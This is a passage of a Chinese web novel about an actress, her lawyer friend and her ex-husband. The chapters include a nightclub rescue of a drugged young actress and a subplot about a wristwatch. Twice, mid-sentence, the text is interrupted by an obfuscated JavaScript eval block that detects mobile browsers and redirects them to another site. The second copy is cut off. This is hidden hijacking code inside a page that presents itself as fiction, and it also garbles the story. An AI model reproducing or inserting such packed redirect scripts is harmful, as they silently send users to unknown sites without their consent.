云灯当然欢迎她留下过夜,只是有些意外,“今天是圣诞节,你确定不用回家吗?待会儿你老公不会打电话来问我要人吧。” “没关系的。我们昨晚已经庆祝过了,请了不少朋友到家里玩。往常也都是平安夜更热闹些。” 姜渺发出幸福的感叹,“昨天我们烤出了有史以来最成功的苹果派。你要来上海该早点告诉我的,这样我还可以给你带来一份呢,真的很好吃。” 云灯拿酒店的电话点了份火腿奶酪拼盘下酒,“请不要在女明星面前夸赞高热量甜食以及会烤苹果派的老公,谢谢。” 姜渺躺在她的床上,闻言爽朗大笑,“你又不是找不到!只是自己不想要而已。” 云灯身边围绕的人太多了,男男女女,形形色色,想要挑出可以坦诚聊天的人却很难。姜渺算是一个。 两人相识于年少,在南江市破旧的城中村里当过邻居。彼时冬夜更冷,云灯就常跑去她兼职的便利店里蹭暖气睡觉。 人生的凛冬之中,她们曾一起度过很多个漫长的夜晚。高三那年云灯离开南江去了港市,两人断了联系,直到前几年才又联系上。 才知道,她毕业于国内最好的政法大学,又去国外藤校读到研究生毕业,成绩斐然,二十五岁就在上海拥有了自己的律所。 云灯年初离婚就是委托给她处理的。 昔日穷困潦倒的小邻居,一个成了大律师,一个成了大明星。命运翻覆的轨迹从来没人能够预料。 “想要也难啊。”云灯实话实说,“不是所有人都有你那么好的运气的。” 姜渺眨了眨眼,没有否认。 她在人生最窘迫的年纪里遇到了现在的老公,自己都觉得像是天上掉馅饼。所以一口就咬住了。 乃至于当初听说云灯和傅谦明一起去港市时,她还给过年少无知的祝福。以为好朋友是同自己一样,遇到了命中注定的机缘。 “对了。我刚才过来路过广场大屏,还看到上面在播你代言的品牌广告。”她笑着转移话题,“以前我上大学时最爱买的。没想到有一天会由你来当代言人,也算是梦幻联动了。” 云灯问了她是哪个品牌,大手一挥,“确实适合小女孩穿。等你以后有了女儿,报我名字去那家随便挑,供她买到二十岁不成问题。” “还在考虑备孕呢。从去年到今年,我想要小孩的心总是忽强忽弱的。” 食盘送来,姜渺开了酒,调侃道,“每次看我老公在家里太闲了,心理不平衡的时候,我要小朋友的心情就会达到巅峰。就好像看不惯他过得那么舒坦,想要给他添点麻烦似的。” 她工作更忙,有了孩子肯定是交给家里那位带的时间多。 云灯说:“那他肯定巴不得。” 她很早就见过姜渺的丈夫,确实好得像块馅饼。很难讲她当时决定跟傅谦明去港市生活,是否有受到这对伴侣的影响。 可惜就像她自己说的,不是人人都有同样的好运气。 落地窗外,霓虹灯火彻夜不息。两人穿着浴袍,慵懒地坐在窗边的沙发里,拿夜景下酒,谈天说地,将近况聊了许多。 在她面前,云灯第一次主动提起,“前些天我又见到傅谦明了,在剧组,因为他新交的女朋友在我组里拍戏。是不是很狗血?” 姜渺略微皱眉,“他是有什么目的吗?怎么会这么巧。” “难说。反正现在他再想把我带回去很难了,只要不影响我的生活,别的事我也懒得管。” 云灯摇晃着酒杯,目光有些放空,“但不知道为什么,我最近总是想起骆小花。” “是那个……你在港市唯一的朋友?” “嗯。睡觉之前总想到她,可睡着了又梦不到她。我都怀疑她是在下面想找人托梦给我,但钱没给够,所以信号一闪一闪的。” 姜渺沉默数秒,斟酌道,“如果你想去看她,我可以找时间陪你去港市。叫我老公也一起去,反正他时间很空余,有我们陪着你回去,不会有事的。” “这倒不用。我不是因为害怕自己落单会被傅谦明抓走刁难,才没再回去。”云灯无意识地转着杯口,“只是觉得她不一定就在港市,也不一定想见我。” 思念无声。姜渺没有过多地出言安慰,只是抚摸她的背,轻轻拍了拍。 云灯在港市的生活她也没有知晓全部,但可以猜到,必定跟当初离开家乡时的期待十分迥异。 可惜有些选择一旦做出,就再也没有机会更改。否则命运又何以曲折离奇呢。 “对了,我还给你带了点礼物。”云灯没有感怀太久,摇摇晃晃地起身,已有醉意。 “前些日子我婆婆去巴黎看秀,买了很多漂亮的小东西送我。有两串项链和耳环倒是很适合你。” 她很经常收到礼物,也很舍得把它们再送出去。姜渺很了解她这点。 无论是衣服鞋子还是包包首饰,只要在她面前夸一句好看,她下一句就会是“你喜欢吗?那送给你”。无论贵重与否,好像就没有她舍不得放手的东西。 “你还在用这个首饰盒啊。”姜渺看着她从行李箱里往外掏东西,忍不住笑,“拼多多六块九毛九包邮的首饰盒里装六十万的珠宝,真有你的。” “很好看啊这小盒,上面还有小花呢你看。”云灯并不在意它的售价低廉。 这个世界上衡量价值的方法,又不只有货币这一种。 她又找来一面镜子,兴致盎然地给姜渺试戴,讨论应该搭配什么样的裙子。这样小孩子过家家的游戏好像可以玩到八十岁也不嫌腻味。 姜渺问,“你们还没跟家里说实话?” “还没呢。”云灯想了想,又说,“不过估计也快了。” 看叶平川的样子,没打算再把戏演多久,最迟杀青以后,应该就会向家里摊牌。 姜渺点了点头,照着镜子,忍不住感慨,“你婆婆对你真的很贴心。” 云灯离婚前也跟她聊过,那时候就说,最舍不得的其实是这个婆婆。 两人刚在一起半年,云灯有次拍戏去海边的度假区取景,看中了一栋别墅小楼,依山傍海风景极佳,价格也合适,就和叶平川提起想要入手。 彼时叶平川在组里拍戏,抽不开身,听她说喜欢就直接把卡号发了过来,让她先自己去买。 卡里是他从小到大的零花钱和压岁钱,还有各种年节礼金,拉拉杂杂。有家族办公室帮他打理,收益可观。 但自从高考毕业他开始自己挣钱之后,莫名自尊心膨胀,发誓不花家里的钱,就再也没刷过那张卡。 云灯只听他说是小时候放零花钱用的卡,很久没用到过,本能地以为里面是小钱。登上一看是六打头,而别墅全款要七千多万。 起初她还以为,叶平川是要她自己补足差额,觉得不太符合他的作风。再仔细看,才发现少数了一个零。 后来两人结了婚,宋澄锦听说她喜欢海边的别墅,就挑国外风景更好的度假海岛给她又买了一栋。 跟叶平川结婚的想法,也并不是被恋爱的甜蜜催发出来的。而是在她见过叶平川的妈妈之后。 起初她陪宋澄锦吃饭逛街,也遵循着讨好长辈一贯的套路,话题往叶平川身上引,聊他小时候的趣事。 她觉得做母亲的都以儿子为骄傲,哪个不喜欢在外人面前炫耀。 可聊了几次,宋澄锦就打断她,把话题牵回她身上。 宋澄锦说,他是我的小孩,你也是我的小孩。跟这个孩子一起玩的时候,干嘛总是把话题放在那个孩子的身上呢?我也想多了解你一些的。 那是打从心底里散发出的欣赏与尊重。她甚至有点被吓到,听宋澄锦问她拍戏累不累,有趣的事情多不多,如果去探班要带什么好吃的好玩的她会比较喜欢,一句话都答不上来。 像是阴沟里的老鼠被刺眼的太阳照耀,快要原形毕露。 宋澄锦看出她难过的表情,不知为何心疼起来,把她的脸按在粗花呢外套上使劲儿抱着。抱完起来看她脸上给压的全是印子,又抱歉得不行。 不过她说了句“妈妈你这个外套真好看,我也想要”,宋澄锦就又欢喜地拉着她去买衣服了。 她便也明白,叶平川是随了他妈妈。 宋澄锦看似不拘小节,其实是个十分聪明的女人。真正的聪明人从不会故作高深,把城府写在脸上,反而从一开始就是极其真诚的。 这份真诚会帮她以最快的速度,最小的代价,把身边的老鼠屎筛出来。 如果遇到的是小人,哪里抵得住这么块肥肉的诱惑?贪婪的嘴脸一旦展露出来,再好的伪装也如纸皮一撕便破。最后她身边 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她和叶平川离婚分割的诉求是公平。她不吃亏,却也没有占到任何便宜。姜渺觉得,这样完全不是她有所图谋的表现。 “还记得我们前些年刚见面的时候,你说我变化很大,然后又问我,自己是不是也变了很多。好像是说……因为人前装了太久,不记得自己原本的性格是什么样了,才会问我。因为我们是高中时就认识的。” 姜渺说,“其实我看着你,从以前到现在都没觉得有什么太大的变化。” “云灯,其实我从来都不觉得,这桩婚姻是你骗来的。爱情的底色是友情,两个人能玩到一起,那份感觉是装不出来的。你陪他玩难道是陪客户应酬的心情?应该自己也很开心吧?那就不需要太在意最初的目的是否纯粹了。” 怎么会那么顺利呢?她总以为能跟叶平川在一起是自己的算计起了作用,但也有可能靠的是真情流露吧? 有没有可能,她本来就是喜欢叶平川的。只是当局者迷。 “离都离了。”云灯淡淡地说。“当然也喜欢过,可跟他在一起总让我很烦躁,要和我自己的感受打架。相比之下也没那么舍不得他。” 细想之下,他们分开是必然的。叶平川有一对彼此相爱,亲密无间的父母,注定无法接受貌合神离的婚姻。 结婚是权宜之计,她从没想过要死心塌地跟谁过一辈子。既然过不下去就分开,她不想为了任何人降低自己的底线,再次被束缚到某个人身边。 或许像对普通人一样,普通地相遇,再普通地恋爱,会有不一样的结局。 可回望这段感情,开头和过程全是错的,怎么可能结出正确的果实呢。 “……他没有牵我的手。”沉默许久后,云灯忽然开口。 “走红毯的时候,拍合照的时候,还有下车,拉开车门的时候。他没有牵我的手。” 整晚的思绪都在酒精中蒸发无踪。她仿佛脑袋里只记得这一件事,反反复复地说,“他不牵我的手。” 分明都是无足轻重的小事,有什么值得委屈和难过。 她噙着自嘲的笑意,嘴角是上扬的。一双圆而亮的眼睛却汇聚着无边无际的汪洋。 “痛苦都会过去的。”姜渺叹息,不忍地抱了抱她,“别太苛待自己。” 怎么会呢?她一向都是对自己很好的。 云灯低头看着自己的手腕。出席完活动,她摘掉大部分珠宝,只戴了只很宽的编织表带款手链,是十几年前的旧款。 是她离家出走后给自己买的。那时候身上总共只有一万多块钱,她就花了将近一万块给自己买足金的手链。 她想起十几岁时,父母互相争吵殴打,邻居都来看热闹。她感到无助又难堪,大声地劝阻,却被异口同声地辱骂,说她是个不该出生的贱货。暴怒之下,拿桌椅台灯乱砸,用剪刀剪她的胳膊。 伤痕丑陋,她就拿手链盖住了,眼不见为净。 后来的某一天,她忽然发现手腕上光洁如初。那么深的伤痕,愈合后竟然没有留下任何痕迹。 以至于,她想再向谁说起,都没有可信的证据证明。 她愈合得这么完美,就像是天生不会受伤一样。 “痛苦只是穿过我,不会留下任何痕迹。”她抬手晃了晃,金色的光芒流沙般环绕着细白的腕。 “因为我是一个没有心的空壳。” 28. 第 28 章 “前不久参加一个朋友聚会,我遇到了你之前的心理医生。她说很久没见过你了。” 姜渺无奈道,“我还特意叮嘱过你,离婚后要去做心理咨询的。你根本没有听进去是不是。” “今年太忙了嘛。”趁着喝了酒,她心安理得地耍无赖,“而且那些医生见得多了就知道都是差不多的套路,听到上半句我就能对出下半句来。好没意思。” 更何况,她压根也不觉得自己有病。 只是偶尔会看这个世界不顺眼,幻想引爆地球而已。出门在外打工挣钱难免有压力,难道不是大家都会这样吗? 又说了会儿话,她醉得更迷糊了,扯开衣服抱着姜渺乱蹭,满床追着亲。最后被拿被子裹成木乃伊,才幸福地睡着。 早晨姜渺要去上班,离开前怕她会掉下床,拾起被子又给她裹了一遍。梁天过来接人,看见她就露个脑袋在外面,睡得还挺香,一边憋笑一边偷拍照片发给了叶平川。 是的。小助理从未忘记过自己汇报行程可以拿三倍工资的隐藏任务。 再加上两人最近似乎正在冷战,梁天心想这还不得把他给迷死。再心硬的男人,看到这么可爱的照片也会融化的。 消息刚发出去,床上的人就挣扎着翻身。梁天赶忙收起手机,助力老板从被团中脱困,起床洗漱赶行程。 上午录完访谈,下午又马不停蹄地跟新戏导演碰面,晚上还有个网络庆典要去领奖。星光熠熠的场合里少不了社交环节,云灯在台上拍大合照,手机由助理代为保管。 不过一会儿功夫,手机里就多了三个未接电话。微信消息也是一个劲儿上浮。梁天看着直觉有点奇怪,等她完事就小跑过去递手机,“快看看是谁在找你。是不是川哥啊?”想想就觉得是叶平川的可能性最大。 但云灯解锁了屏幕,眉头随之皱起,“是雪舒。” “啊?怎么会……”话还没说完,梁天见她大步往化妆间的方向走,立马跟上,“是组里出什么事了吗?” “帮我改最快的机票。” 尽管她没说为什么。梁天半分钟都不敢耽误,干脆地应答,“好。” 云灯摘掉身上品牌方送来的珠宝首饰,堆放在台面上,那些昂贵的珠宝闪亮得叫人目眩神迷,却显得她脸色冷凝如霜,“你留下善后,我先走。” 她没带助理,离开场地直奔机场。下飞机没回剧组,而是直奔本市最知名的夜场之一。 申雪舒正等在门口张望,见她人到了,长舒一口气,“跟我进来吧。” “孟瑜在里面吗?” “对,江煜也在。保镖在里面看着他们呢,我怕离了这儿说不清楚,索性都扣着等你来了再走。” 两人穿过混乱的舞池,去楼上的包间。申雪舒捂着耳朵说,“今天晚上我们几个都没戏拍,是江煜先攒了格局约她出来,说朋友有门路,可以介绍资源。” “我听着觉得不太对劲,你又不在组里,怕出事就找了个理由跟来说一起玩玩。一开始还好好的,后来喝了点酒就……不知道是不是酒有问题。” “嗯。我知道了。”包厢门口,云灯停住脚步,转身对她说,“辛苦了。这次的事我会另找时间再谢你,先回去休息吧。” “好。” 申雪舒并不是那么爱多管闲事的人,得到她这句话,出手帮忙的目的也算是达到了,自然不再多说,依言先行离开。 云灯推开门。包间里十分寂静,两名保镖分别守在两边。江煜一脸闯了祸的表情,心虚得不敢跟她对视,瞥一眼就飞快地移开视线。 孟瑜披着衣服坐在另一头,看样子刚醒不久,脸上不正常的红晕还未散尽,“姐……” 她才意识到自己经历了什么,委屈又后怕地支撑起身体,朝云灯伸出手。 云灯并未理会她,进了房间径直走到江煜面前,“抬头。” 江煜莫名地一抖。 她语气平静,似乎只是来要一个说法。可不知为何,带着冷意的嗓音传入耳朵,让人格外想逃。 江煜勉强挤出一个笑,抬起头,刚想要解释,猝不及防被她一巴掌扇歪了脸。 “啪!” 他毫无防备,身体随着惯性狠狠地倒向一边,脑子里嗡嗡直响。 孟瑜都看傻了,瑟缩着裹紧身上的外套。 在满屋不敢相信的眼神里,云灯甩了甩发麻的右手,换另一只手拍了拍他的肩膀,再次用平静的语气说,“抬头。” 他还未回过神,下意识地照做。又挨了一耳光。 包间里围观的人不止一个。他脸上火辣辣地发胀,何止是颜面扫地,心理防线也快要崩溃了。 “谁叫你带她来的?”令人窒息的寂静中,云灯终于开口发问。 “不是我!是她,是她求我带她来的!” 他终于回过神,指着孟瑜大声控诉,“我根本没让她来,是她自己想跟我出来玩的!我也没想到事情会变成这样……我什么都不知道!” 云灯懒得听他推卸责任,巴掌又扬起来晃了一下,给他吓得一个激灵,“真不是我的错!大家都是成年人了,难道不该为自己的行为负责吗?她自己要来的,出了事凭什么怪到我头上!” 他激动的喊叫声无比刺耳。孟瑜听得清清楚楚,双眼含泪,此前对他的一点好感都消失殆尽。 云灯就是要她听清楚,看明白,自己断了念想。能省下许多劝说的功夫。 江煜捂着脸悲愤交加,惦记着还要拍戏上镜,往桌上的冰桶里拿了些冰块,忍气吞声地给自己消肿。 “那我问你,今天晚上这些人是谁让你来见的?别跟我说是你的什么朋友。就凭你……”云灯用挑剔的目光上下打量他,仿佛在给不值钱的货物估价。 “今晚如果不是有个傻丫头跟着来,被下药迷晕拖去开房,此时此刻正在卖屁股的人就是你。” 她口中说出的话语直白到令人难堪。江煜脸色顿时又青又红,可也被她直戳要害地点醒了,停顿片刻后,有些迟疑地说,“是……叶清姐帮我约的朋友。她说正好有朋友在考察投资,可以去眼熟一下,给自己多争取机会。” 叶清可是他的老板,怎么会害他? “就知道是她。”云灯看他还在那执迷不悟,也懒得多说他什么。 “这次的事我会记住的。你回去告诉她,自己的人想怎么卖都不关我的事,别把手伸到我的人身上。” 她走到孟瑜身边,伸出手刚想要扶,把孩子吓得一个哆嗦。 “……” “现在知道怕了。”云灯好笑道。“走吧,我今天累了,没力气再扇你。” 孟瑜尚有些惊魂未定,看她确实不打算再动手,才心惊胆战地跟着出去。 回酒店的路上,她心想怎么着也得挨两句骂吧。可云灯连骂都没骂她。 她终于忍不住问出了口。 云灯却说,“你自己想明白就行了。吸取教训,不用我再唠叨什么。” “嗯!我一定会吸取教训的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292789|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孟瑜小心地挪到她身边,看她没有反感,才又抱着她的胳膊,把头靠在她肩膀上,小声嗫嚅,“我不是因为喜欢他才跟他出去的,只是以为能通过他为自己争取到一些东西,结果却变成这样。我真是没有看人的眼光。” “你太容易相信别人了,尤其是认识还不久的人。”云灯语重心长道,“剧组里环境封闭,经常在一起拍戏,确实会让人有感情很好的错觉,以后更谨慎些就好了。想往上走并没有错,只是别太心急。” “我以后再也不敢干这种事了。”她啜泣道,“我爸妈知道了肯定会气死的。他们本来就不太同意我当演员,我好不容易才拍到戏……差点被自己给毁了。我怎么这么蠢啊。” “谁没干过蠢事。”云灯用手背给她擦了擦眼泪,“你以为我是生下来就会察言观色,见人说人话见鬼说鬼话的人呀?” 她忍不住眨眼,挂着泪珠的睫毛扇动了两下,“可你,看起来,就是的。” “……” 云灯被逗笑,捏了捏她湿润的脸颊,“我也干过很多蠢事的。” 一直都走在平坦的道路上,哪里会知道陷阱是什么样子呢?总得要亲眼见识了,才能牢牢地记住。接下来的路才会走得更谨慎,更稳妥。 云灯搂着她轻轻地拍了拍,视线投到窗外。凌晨路边的灯光影影绰绰,叫人恍惚。 她已经记不清楚自己二十岁时都发生过什么事了,但记忆里也有个可爱的女孩。情绪上头时,爱把她搂在怀里哭。 到酒店时间已经很晚。车停在停车场,她们牵着手往里走,云灯看向大堂入口,忽然看见了叶平川的身影。 她眨了眨被风吹干的眼睛,那身影便又消失,像是困出了幻觉。 “你没有向叶平川求助吗?”云灯问,“他今天没有别的行程,应该昨晚——最迟今天上午就回来了。” “我有的,但是他没理我。今天都没见到他。”孟瑜吸着鼻子说,“会不会是因为你们最近吵架,所以他也跟着不待见我啊。” “这么快就怪到我身上了?” “不不不,没有没有!” 她连忙解释,“就是看你们这些天状态不太对,大家都发现了。我包管站在你这边的,川哥肯定也知道,所以他就不理我了。我想应该是这样。” 云灯点了点头。 好像也只能这么解释了。 正常来说,见死不救是她的专利,见义勇为才是叶平川的作风。 她都给叶平川气得拒绝干好人好事了。还真要黑化么。 “你们是不是还在冷战啊?是因为什么事啊。”孟瑜又试探着问。“如果有我能做的……传个话什么的,我应该还可以帮上忙呢。” “还是多操心操心自己吧。”云灯说。 她刚刚只顾着恼火江煜那个蠢货和他的黑心劳保,还没想到叶平川身上。 这会儿想到他,还要再多恼火一人份。 叶平川不知道也就算了,明明孟瑜发了消息求助,他居然视而不见。让申雪舒一个小姑娘去闯夜场救人,大半夜的,相隔千里把她叫回来。 云灯有点不敢相信,自己嫁过这种人。 “进去泡个热水澡,好好休息。”她把孟瑜送回了房间,怎么想都还是恼火。也可能是骂人还没骂够,她直接上楼,去叶平川房间按门铃。 铃声响了好几遍,叶平川才出来开门,睡袍没有系带,松松垮垮地裸着胸口,一脸不虞,“干什么?大半夜还要上朝?” 29. 第 29 章 今天早晨,叶平川张开眼睛的第一分钟。手机震动着响了两声,让他收到一张可爱到令人想当生气的照片。 更让他生气的是自己看到照片的第一反应,依然是长按保存进手机相册。 这太不合理了。在云灯亲口对他说出那些话之后,他应该看她的任何表情都感到面目可憎才对。 哪怕是现在。她直接从会场赶回来,身上衣服都没来得及换,羽绒服里裹着礼裙,穿得很奇怪,头发也被停车场的风吹得乱糟糟的,前一团后一团地绕成毛躁的小结。 叶平川看着她,脑子里想的全是才一天没见,怎么好像人都瘦了点。 他记不住距离上次吵架过去多久。但他总是能记得,跟她有几天没有见面。 虽然但是,她眼中怎么还有些匪夷所思的……失望? 叶平川莫名遭她审视,先发制人地呛声道,“你这是什么眼神。” 这么气势汹汹的。如果他没记错,这是要吵架的前兆。 他忙前忙后跑了一晚上,反倒还把人给得罪了?有意思的。 他态度这么硬气,给云灯提了个醒。在谴责的话脱口而出之前,她理智回笼,打了个手势,“暂停一下。先不要吵。” “……” 叶平川靠在门上,看着她打给申雪舒确认情况。只是余光仍被她乱乱的头发结吸引,实在手痒才抓了一缕,漫不经心地把发丝解开。 通话彼端果然还没睡,听到云灯询问,答得利落清晰,“是叶老师带人去帮忙的啊,你不在组里我就只能找他了。后来听说你快到了他把保镖留下先走了,可能还有别的事吧。孟瑜?叶老师走的时候她人都还没醒呢,估计都不知道自己是怎么出来的。” 云灯似乎明白了问题是出在哪里。 “孟瑜说走之前特意问过你,但你没搭理。”她通完电话又问叶平川,“是怎么跟你说的?” 叶平川:“她问我晚上有没有空一起出去玩。” “……” 这种消息他会回复才怪。 云灯微不可闻地叹了口气,久违地感到尴尬。 也不知道自己发什么神经,迫不及待地跑上来搞什么道德谴责。结果反而证明了那个心胸狭隘的小人是她自己。 “我昨天也没回组。今天带程沐风他妹去吃饭,天黑才到酒店,一回来就碰上这事。” 叶平川还在解她打结的头发,捋顺了最后一点才松开手说,“如果我当时在组里,知道情况,也不会让她去的。” 女孩总是更容易受欺负。就算孟瑜不是云灯公司旗下的艺人,这种事儿他遇上了也不会无动于衷。 “我就知道,你肯定不是那种见死不救的人。” 误会解除,她变脸比翻书还快,立刻又笑眯眯的,完全不是刚打照面那个用眼睛骂人的模样了,“谢大人真是正直善良,仗义勇为啊。这次就算我欠你个人情,以后有什么需要我的地方尽管说。” “少说这种漂亮话。”叶平川双手插进浴袍兜里,不动声色地凹了个帅哥造型,“就这么点事,值得你大半夜跑来找我一趟?还有什么话一起说。” “没有别的事情呀。”云灯无辜道,“我为什么不能来找你?是你在恨我,又不是我在恨你。” “……” 叶平川狐疑地打量她,凭直觉,嘴比脑子快,“你不会是想我了吧。” 所以才找个借口来看他。 这话放在之前或许还算是调情,但现在听着就剩自恋了。 以至于云灯很不给面子地扑哧一笑,拍了拍他的肩膀说,“洗洗睡吧孩子,睡吧。” “……” 叶平川表情整个垮掉。她没有细看,说完就转身回房间。背过身的瞬间,挂在她脸上的笑也消失不见。 她并不想深究自己这趟跑来到底出于什么念头,但内心强硬地禁止自己再干这种多此一举的蠢事。 本该是事情解决了就算完的。她是叶平川的前妻,又不是他妈,孩子有没有保持正直善良的人品关她什么事。 梁天没有跟她回组。明天晚上还要去京市出差,她索性让助理先去京市,自己拍完这天的戏份再从剧组过去。 这天组里来了个饰演小皇子的演员,才三岁多,大家都叫他糯糯。 云灯本身不喜欢小孩,但言秋在剧中跟他是同父的姐弟,拍摄之前也花了些时间跟他先熟悉起来,使用棒棒糖攻势成功建立起友情。 她前一晚见过叶平川之后莫名闹心,可能是很久没尴尬过不太习惯了,都没怎么睡着觉。 忙碌一下午,本想寻机打个盹儿,申雪舒却又跑到她车上来,跟她聊叶清的八卦。 “我之前就在傅谦明办的宴会上见过她,不知道他们是不是有什么合作。听说她公司里的艺人全是特别年轻的男孩女孩,一签约就带去各种酒局陪吃饭。这不就是让人当盘菜挑吗?” 申雪舒愤愤不平道,“她肯定从里头抽了不少油水。签约她公司的艺人日子不会好过的。” 云灯半躺在沙发上,懒懒地把玩着一块看起来就要价不菲的手工表。 她对叶清这个人没多大兴趣,因为是叶平川的姐姐才多留意一些,为人是好是坏也懒得评价。 但叶清昨晚的局做得让她很不爽。江煜自己都搞不清楚情况,也无从逼问,孟瑜差点遭到侵害是意外扯入其中,还是原本就被算计了进去。 其实没有多大差别。 是很不爽和更不爽而已。 “那回头看看剧本里有哪里能加戏的,”她说,“让你扇贵妃几巴掌泄愤。” 她语气不像开玩笑。申雪舒反倒被吓一跳,“真的假的,让我演?我何德何能啊?” “毕竟抽人耳光也挺累的。”云灯说,“当我的手替。” “……” 她大概还是在心疼孟瑜。 申雪舒想了想,问,“小瑜那丫头演戏的天分还可以,但是人看起来傻傻的,你怎么会签她呢?” “她不傻,”云灯帮自家孩子说话,“只是缺乏挨社会毒打的经验。跟我们这种老油条不一样。” “我们?”申雪舒隐隐有些感动,又傲娇道,“我哪里老油条啦?跟你比我还很单纯的好不好。” 云灯不给面子地嗤笑,“你再装一个清冷小白花试试看呢?” 申雪舒躺倒在另一组沙发上,不顾形象地嘎嘎笑。 如果她们相遇在港市的学校,说不定真的会成为很好的朋友。 云灯摩挲表带,不经意地想起申雪舒之前说她太会装,跟孟瑜讲话总是一副温柔和煦的态度,还问过她这样累不累。 答案是不累的。 和她从前在傅谦明身边会变得阴暗暴戾正相反,在孟瑜这类的甜妹身边,她无需刻意地改变自己,自然而然地就会变得温和。哪怕偶尔无语心烦,也都没有攻击性。 她很需要这种甜美阳光的磁场。与其说是提携孟瑜,其实在第一次面试时她就想到了,可以利用这个姑娘给自己提供情绪价值。 “帮你封印煞气是吧?”申雪舒精准吐槽。 “也可以这么说。”云灯慢吞吞地把表扣在自己的手腕上。 申雪舒沉默地看着她的动作,心想这大概是看重的人送她的礼物。 “有话就说。” 片刻安静后,云灯主动开口道,“不然就出去,我还要睡觉。” “啧,你这人……”她可疑地羞赧了一下,“我是想问,你有没有办法帮我把合约转到你公司里去?” 她自知这要求是有点厚脸皮了,但云灯昨夜说过会谢她的。好好的机会不用白不用。 她之所以跟着去夜场看着孟瑜,又及时地通风报信,当然也不只是好心。 想从傅谦明身边脱身,换个公司是好办法。至少她有合理原因不用再回港市。 只是当中的过程,可以想见会很麻烦。对于接手她的老板不太友好。 以防万一翻脸,傅谦明拿巨额违约金要挟她,她必须得找个既有实力,脑子又聪明的,最好还是知道情况的。 她满脸期待地望着云灯,“我会给你挣钱的。违约金我也自己付,你可以压着我的片酬从里面扣,直到还清为止。” 除了云灯,她也找不到可以更放心地求助的人了。 在这部戏杀青之前,她必须为自己找到出路。 云灯说,“我考虑一下。” ** 没有戏份的日子里,叶平川比意料之中更快地迎来了发小的探班。 程沐风不常到剧组这种地方,拿手机拍了几张照,见了他就是一句锐评,“怎么半死不活的。” 叶平川脸色惨淡,“在吃爱情的苦。” 程沐风不懂他在矫情什么,只一味地打听妹妹的近况。 妹控的程度,让叶平川都从悲伤中分心无语了片刻。 “真那么担心放不下,你干脆把公司迁上海去得了。” 程沐风只说,“南江家里事多。” 他难得来一趟,不管哥们死活是有点过分,还是象征性地安慰了叶平川几句,“吵架了?认错了没有?实在不行你跪下试试。” “……” 叶平川一点也笑不出来。 “我现在觉得自己根本,完全,从头到尾,一点点都不了解她。” 程沐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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叶平川沉浸在自己沉痛的领悟里,摆摆手没有送。 不多时,梁天却又打来电话,问云灯在不在他身边。 “今晚还得来京市呢。”梁天说,“她说想补会儿觉,应该是在房车上。现在时间差不多了,我怕她错过高铁,麻烦川哥你去叫醒她。” “你让她自己去京市找你汇合?”叶平川眉毛立刻拧起来。 梁天被这句突如其来的质问噎到了,“呃……对,是啊。” 云灯又不是不认路。这有什么好大惊小怪的。 剧组所处位置离京市不远,正常开车走高速一个多小时就能到。高铁也是短程。 云灯私人行程很低调,除公开场合外不带保镖,都是怎么方便怎么来。 她也不太担心会被认出来。用她的话说,街上美女那么多,戴上帽子口罩,只要不大喊我是谁谁谁,压根没人会死盯着你看的。 这样临时安排并不是第一次,只是从前叶平川都不知道。 “我在这边找两个人陪她去,你到高铁站接她。” 他说完想想还是不放心,“算了,我让司机开车直接把她送过去吧,地址发给我。” “哦哦,好的。” 叶平川窝着一腔无名火,大步流星地去找人。不晓得是气她缺乏安全意识,还是气自己,居然现在才知道。 申雪舒走后,云灯自己在车上睡觉。 她调了两个闹钟,到点了响起来又嫌烦,都给按掉了。高铁还可以改签,反正今晚过去就行。难得困意缠绵,她还想再多赖半个小时。 车门打开的声音她没有听见。自顾自地蜷在沙发上沉睡,眉眼间挂着淡淡的倦意。 叶平川悄无声息地蹲下来,看着她,心里那点窝火早已消散殆尽。 跟照片里又不太一样了。 她看起来很累。 叶平川舍不得叫醒她,视线薄雾般笼罩在她身上,无声地流动。 怎么会有这么好看的一张脸,仿佛是合着他的心意长出来的,每一处都是恰到好处的顺眼。 尤其是安安静静地抿着嘴巴,不净说那些叫人去死的话,这样子真是惹人怜爱。 让人半点也生不起气来。 心里头酸溜溜的。叶平川撇撇嘴,心想还是看着时间让她再睡会儿好了,放轻动作地给她拉了拉毯子。 这时才注意到,她的左手腕上,戴着一只相当眼熟的腕表。 那是…… 他的。 30. 第 30 章 ……这不太对吧。 叶平川反复确认仍不敢相信,深吸一口气,悄无声息地退了出去,下车后直奔酒店。 果然,过生日时收到的那块表还在他房间里。 可云灯怎么会有一模一样的表? 明明说了那么冷漠的话,把他当傻子似的摆布,怎么能又这样,在他不知道的时候偷偷地戴跟他一模一样的表? 她到底在想什么?! 叶平川脑子快炸了。 被安排去接云灯的车已经到位。他没时间琢磨,抓起手表十万火急地赶回去。 正赶上她要离开剧组。 云灯艰难地挣扎起床,还没完全脱离困意,听到说有车接也没拒绝,上了车正想再迷糊一阵。 她只知道是叶平川安排的司机,没想到他会亲自跑来,愣了一下才说,“有事?” “……” “可以等我回来再说吗?”她柔声道,“京市那边同事还在等我。” 云灯看出他似乎有话要说。 但车都已经启动了。她又困又累,心里还揣着未完成的工作。显然并不是一个适合谈私事的好时机。 叶平川望向她细白的手腕,那里空空荡荡,像是一截月光化成的。 她真的只在保姆车里睡觉的时候偷偷地戴了一下,出门时就摘掉了。 为什么这么做? 叶平川心里有一万句话要问,可只要对上她的眼睛,就没办法拒绝她的任何要求。 他有些焦躁地扒了扒头发,隔着车窗问,“那你什么时候结束?” “明天晚上。”云灯说。 “好。我等你回来。” 叶平川一只手插在大衣口袋,目送商务车驶入更遥远的夜色,握着表带的手始终没有放开。 等待中度过的一天一夜分外煎熬。 